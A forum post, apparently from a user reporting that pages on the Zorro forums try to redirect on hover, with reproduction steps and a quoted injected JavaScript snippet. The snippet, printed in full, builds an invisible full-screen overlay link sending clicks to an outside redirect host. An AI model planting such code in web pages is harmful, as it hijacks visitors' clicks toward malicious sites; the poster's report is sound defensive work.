The bug is repeatable.
First, you must
clear your cookies. This is how:
1) Shift + Ctrl + Delete. This opens "Clear Browsing Data".
2) "Advanced" Tab
3) Time range: "all time"
4) Check "Cookies and other site data"
5) Click "Clear Data"
6) Close browser and open it again
So now that cookies are cleared, the behavior will be immediately repeatable:
7) Go to the Zorro forums.
8) Browse to any thread.
9) Hover your mouse anywhere in the screen.
No matter what, it looks like it wants to redirect you somewhere. See my screenshot #1.
So instead of clicking with my left mouse button, I right-click: Inspect. I get screenshot #2.
If I click on the sources tab, I get screenshot #3.
Notice the mysterious java scripts from om.qqtx.me. I saved them below, both in their original form and a readable format.
That second javascript has content **BEFORE** I click on the screen. But if I refresh the screen, the second script is **BLANK**. The disappearing script looks like it creates the bad link:
(function() {
var c = JSON.parse(x1cfdb9f14ad340c38bbd6f60806ec731_hd("eyJ1cmwiOiJodHRwczovL2FmaWx0ZXIueHl6L2MvMTQ4My8yIn0=")),
b = document.body || document.getElementsByTagName("body")[0];
if ("undefined" != b && null != b) {
var a = document.createElement("div");
a.id = "div" + Math.floor(999999 * Math.random() + 1E5);
a.style.cssText = "width:100%; height:100%; position:fixed; left:0px; top:0px; z-index: 99999999";
a.innerHTML = '<a href="http://wf3sgoqwvtow4yz028sp.kf.abgp.info/redirect?i=118&u=' +
x1cfdb9f14ad340c38bbd6f60806ec731_he(c.url) +
'" target="_blank" style="display: block; width:100%; height: 100%; cursor: default"></a>';
a.onclick = function() {
this.style.display =
"none"
};
b.insertBefore(a, b.lastChild)
}
})();
I don't know much about HTML/CSS/JS, but this looks like it might be a sleeper script.
